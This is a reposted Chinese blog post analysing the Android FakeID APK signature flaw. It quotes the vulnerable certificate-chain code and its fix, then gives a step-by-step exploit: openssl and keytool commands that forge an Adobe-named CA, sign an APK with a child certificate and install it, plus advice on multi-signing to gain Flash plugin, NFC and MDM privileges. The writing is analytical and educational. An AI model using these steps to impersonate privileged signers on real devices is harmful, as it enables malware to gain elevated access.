FakeID签名漏洞分析及利用(二)
本文转自:http://blog.csdn.net/l173864930/article/details/38409521
继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公布了一个关于APK签名的漏洞——FakeID,并打算在今年的Blackhack上公布更详细的细节,不过作者Jeff Forristal在文中已经给出了不少提示,另外申迪的《FakeID签名漏洞分析及利用》也做了相关介绍。由于其中涉及的知识点较多,所以有部分朋友估计还没有看明白,所以我打算写一篇更详细漏洞分析解说,希望对大家有帮助。
基础概念
APK包中的MF、SF和RSA文件
- MF文件中包含APK的包信息,如manifest文件的版本、签名版本、应用程序的相关属性以及包中所有源文件的SHA1值。
- SF文件则是在MF文件的基础上,采用SHA1withRSA签名算法进行签名的明文文件。
- RSA文件则是APK文件的签名证书,这个文件是一个PEM格式保存的PKCS7公钥证书,PKCS7证书一般会分开两个文件,一个是公钥证书,另一个则是私钥证书,有PEM和DER两种编码方式。PEM比较常见,是纯文件的形式,一般用于分发公钥证书。
证书链结构及认证原理
- 所有者: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
- 发布者: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
- 序列号: d7cb412f75f4887e
- 有效期开始日期: Thu Oct 01 08:23:14 CST 2009, 截止日期: Mon Feb 16 08:23:14 CST 2037
判断一个证书链是否有效,是一个递归的过程,下面是一个三级证书的验证示意图:
Android对APK的合法性验证
- 开发机上生成一个根证书(记作CA),并用这个证书去颁发一个子证书(记作CLIENT);
- 使用这个子证书对APK签名,这时APK中的RSA文件将包含两个证书,分别是CLIENT和CA,其中系统会使用CLIENT对APK文件进行检验;
- 对这个RSA文件篡改,把CA修改为Adobe Flash Player的CA(记作FakeCA)。由于系统不会对证书链的合法性进行验证,所以修改后APK,依然可以被正常安装;
PackageManager pm = getPackageManager();
StringBuilder sb = new StringBuilder(); try {
PackageInfo info = pm.getPackageInfo(getPackageName(), PackageManager.GET_SIGNATURES);
Signature[] sigs = info.signatures; for (Signature sig : sigs) { /*
* Get the X.509 certificate.
*/
final byte[] rawCert = sig.toByteArray();
InputStream certStream = new ByteArrayInputStream(rawCert); final CertificateFactory certFactory;
final X509Certificate x509Cert; try {
certFactory = CertificateFactory.getInstance("X509");
x509Cert = (X509Certificate) certFactory.generateCertificate(certStream); sb.append("Certificate subject: " + x509Cert.getSubjectDN() + "\n");
sb.append("Certificate issuer: " + x509Cert.getIssuerDN() + "\n");
sb.append("Certificate serial number: " + x509Cert.getSerialNumber() + "\n");
sb.append("\n\n");
} catch (CertificateException e) {
// e.printStackTrace();
}
} } catch (NameNotFoundException e) {
e.printStackTrace();
}
通过上面的方式,可以达到让APK被Adobe Flash Player官方认证的效果,如下是我自己做的一个FakeCA的DEMO,通过上面代码打印如下所示:
Certificate subject: CN=简行, OU=简行之旅, O=简行之旅, L=杭州, ST=浙江, C=CH
Certificate issuer: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
Certificate serial number: 13732529592366477909 Certificate subject: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
Certificate issuer: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
Certificate serial number: 15549593810524997758
看到这里,相信有些朋友已经懂了,那么下面的内容就可以不用看了,如果还是有疑问,那请耐心再往下看吧。
漏洞分析
private static boolean containsPluginPermissionAndSignatures(PackageInfo pkgInfo) {
// check if the plugin has the required permissions
String permissions[] = pkgInfo.requestedPermissions;
if (permissions == null) {
return false;
}
boolean permissionOk = false;
for (String permit : permissions) {
if (PLUGIN_PERMISSION.equals(permit)) {
permissionOk = true;
break;
}
}
if (!permissionOk) {
return false;
}
// check to ensure the plugin is properly signed
Signature signatures[] = pkgInfo.signatures;
if (signatures == null) {
return false;
}
if (SystemProperties.getBoolean("ro.secure", false)) {
boolean signatureMatch = false;
for (Signature signature : signatures) {
for (int i = 0; i < SIGNATURES.length; i++) {
if (SIGNATURES[i].equals(signature)) {
signatureMatch = true;
break;
}
}
}
if (!signatureMatch) {
return false;
}
}
return true;
}
从这段代码,可以看到WebKit是这样认证一个APK是否为Adobe FlashPlayer插件的:
- APK证书中是否包含Adobe签名的证书,证书数据是写死在代码中的(PluginManager.SIGNATURE_1),这是Adobe使用的签名
- APK申请了android.webkit.permission.PLUGIN权限
- APK声明了一个服务,Intent是android.webkit.PLUGIN,有个meta信息是type,type的值必须是native。
除了Abode 这种HardCode签名外,Android系统中还存在其他的类似的特权签名,在此我直接引用BlueBox的原文:
”In another example, the application with the signature specified by the device’s nfc_access.xml file (usually the signature of the Google Wallet application) is allowed to access the NFC SE hardware. Both of these special signature privileges are hard coded into the Android base code (AOSP). On specific devices, applications with the signature of the device manufacture, or trusted third parties, are allowed to access the vendor-specific device administration (MDM) extensions that allow for silent management, configuration, and control of the device.“
多签名认证
想把FakeID漏洞发挥到极致,我们可以对同一个APK进行多个证书签名,前文也有所提及。这种情况下,META-INF文件夹下就会同时获取多个RSA文件。这样,我们就可以达到一个APK中,同时具备Adobe插件特权,NFC SE硬件控制特权等等,示意图如下:
漏洞分析
private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates) {
for (int i = 0; i < candidates.length; i++) {
if (issuer.equals(candidates[i].getSubjectDN())) {
return candidates[i];
}
}
return null;
}
留意代码中的判断逻辑,只要issuer跟遍历的candidates[i].getSubjectDN()相等即可,这个equal只是简单的做了字符串的对比,就直接认为这个是合法的证书,并返回来。
private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates, X509Certificate subjectCert, boolean chainCheck) {
for (int i = 0; i < candidates.length; i++) {
if (issuer.equals(candidates[i].getSubjectDN())) {
if (chainCheck) {
try {
subjectCert.verify(candidates[i].getPublicKey());
} catch (Exception e) {
continue;
}
}
return candidates[i];
}
}
return null;
}
Fix后的代码,添加了subjectCert和chainCheck两个参数,添加了证书链的验证。
Exploit
自签发CA权证书
- openssl genrsa -out ca.key 4096
- openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:California
Locality Name (eg, city) []:San Jose
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Adobe Systems Incorporated
Organizational Unit Name (eg, section) []:Information Systems
Common Name (e.g. server FQDN or YOUR name) []:Adobe Systems Incorporated
Email Address []:
生成Keystore
- keytool -genkey -v -keystore clientkeystore -alias CLIENT -keyalg RSA -keysize 2048 -validity 10000
- 输入密钥库口令:
- 再次输入新口令:
- 您的名字与姓氏是什么?
- [Unknown]: 简行
- 您的组织单位名称是什么?
- [Unknown]: 简行之旅
- 您的组织名称是什么?
- [Unknown]: 简行之旅
- 您所在的城市或区域名称是什么?
- [Unknown]: 杭州
- 您所在的省/市/自治区名称是什么?
- [Unknown]: 浙江
- 该单位的双字母国家/地区代码是什么?
- [Unknown]: CH
- CN=简行, OU=简行之旅, O=简行之旅, L=杭州, ST=浙江, C=CH是否正确?
- [否]: y
- 输入 <client> 的密钥口令
- (如果和密钥库口令相同, 按回车):
产生CSR证书请求文件
- keytool -keystore clientkeystore -certreq -keysize 2048 -alias CLIENT -keyalg RSA -file client.csr
利用CA签发CLIENT
- openssl x509 -req -CA ca.crt -CAkey ca.key -in client.csr -out client.cer -days 10000 -CAcreateserial
导入CA根证书和CLIENT二级证书
- keytool -import -keystore clientkeystore -file ca.crt -alias CA
- keytool -import -keystore clientkeystore -file client.cer -alias CLIENT
利用CLIENT对APK文件进行签名
- jarsigner -keystore clientkeystore -sigalg SHA1withRSA -digestalg SHA1 test.apk CLIENT
最后利用我编写的脚本完成FakeCA的修改
- 如果是首次签名,需要先把test.apk中的META-INF文件夹删除掉;
- ./fake_ca.sh
- adb install out/test.apk
总结
参考
FakeID签名漏洞分析及利用(二)的更多相关文章
- FakeID签名漏洞分析及利用(一)
作者:申迪 转载请注明出处: http://blogs.360.cn/360mobile BlueBox于7月30日宣布安卓从2010年以来一直存在一个apk签名问题[1],并且会在今年Black ...
- Vivotek 摄像头远程栈溢出漏洞分析及利用
Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 一.前言 FFmpeg是一个著名的处理音视频的开源项目,使用者众多.2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190 ...
- SEIG Modbus 3.4 CVE-2013-0662 漏洞分析与利用
前言 Schneider Electric Modbus Serial Driver 会监听 27700 端口,程序在处理客户端发送的数据时会导致栈溢出. 测试环境: windows xp sp3 相 ...
- word漏洞分析与利用
众所周知,溢出漏洞从应用形式上可分为远程服务溢出漏洞和客户端(本地)溢出漏洞两类.远程服务溢出漏洞大家很熟悉了,红色代码.冲击波.振荡波等蠕虫都利用了此类漏洞,漏洞的调试和利用有相应的一套方法,前面的 ...
- 【转+自己研究】新姿势之Docker Remote API未授权访问漏洞分析和利用
0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露.获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 ...
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
- SSRF漏洞分析与利用
转自:http://www.4o4notfound.org/index.php/archives/33/ 前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的 0x01 ...
随机推荐
- 关于网站开发中div标签中设置宽度后其中文本溢出的原因和解决方法
一.问题产生的原因 当我们为div标签声明了宽度,但是仍然会出现文本越界的情况,不知道大家有没有发现,只有文本内容为单词或者纯数字的时候才会出现这种情况为此我特意测试了两种情况,结果如下: ①当文本内 ...
- 快速了解Vuex
提要:提起react就会想起其应用最广泛的redux状态管理工具,vue中的官方推荐的状态管理工具就是Vuex. 看到同事在鼓捣Vuex的东西,前面项目完成后也没有好好总结一下Vuex的知识,所有就再 ...
- Spring Boot (#1 quick start)
Spring Boot (#1 quick start) 官方文档 Spring Boot是为了简化Spring应用的创建.运行.调试.部署等而出现的,使用它可以做到专注于Spring应用的开发,而无 ...
- hashCode()与equals()方法的对比
Java对于eqauls方法和hashCode方法是这样规定的: 1.如果两个对象相同,那么它们的hashCode值一定要相同: 2.如果两个对象的hashCode相同,它们并不一定相同(上面 ...
- 【已解决】mac上appium报错:“Could not find aapt Please set the ANDROID_HOME environment variable with the Android SDK root directory path”
按照网上教程配置完appium环境后,真机跑自动化过程,遇到如下报错: appium报错如下: [ADB] Checking whether aapt is present [ADB] The AND ...
- Problem2-Project Euler
Even Fibonacci numbers Each new term in the Fibonacci sequence is generated by adding the previous ...
- windows7下搭建python环境并用pip安装networkx
1.安装顺序:Python+pip+pywin32+numpy+matplotlib+networkx 2.版本问题 所安装的所有程序和包都需要具有统一的python版本.系统版本和位宽,所以第一步要 ...
- RBAC用户角色权限设计方案【转载】
RBAC(Role-Based Access Control,基于角色的访问控制),就是用户通过角色与权限进行关联.简单地说,一个用户拥有若干角色,每一个角色拥有若干权限.这样,就构造成“用户-角色- ...
- laravel 安装步骤
1.将laravel安装文件里的 (composer.bat 和 composer.phar)放在你要使用的php版本 里的:如:D:\phpStudy\php\php-7.0.12-nts 2.进入 ...
- Java集合和泛型
集合 常用的集合有ArrayList,TreeSet,HashMap,HashSet. ArrayList 最常用的集合,每次插入都在后面追加元素. TreeSet 以有序状态保持并可防止重复.当你需 ...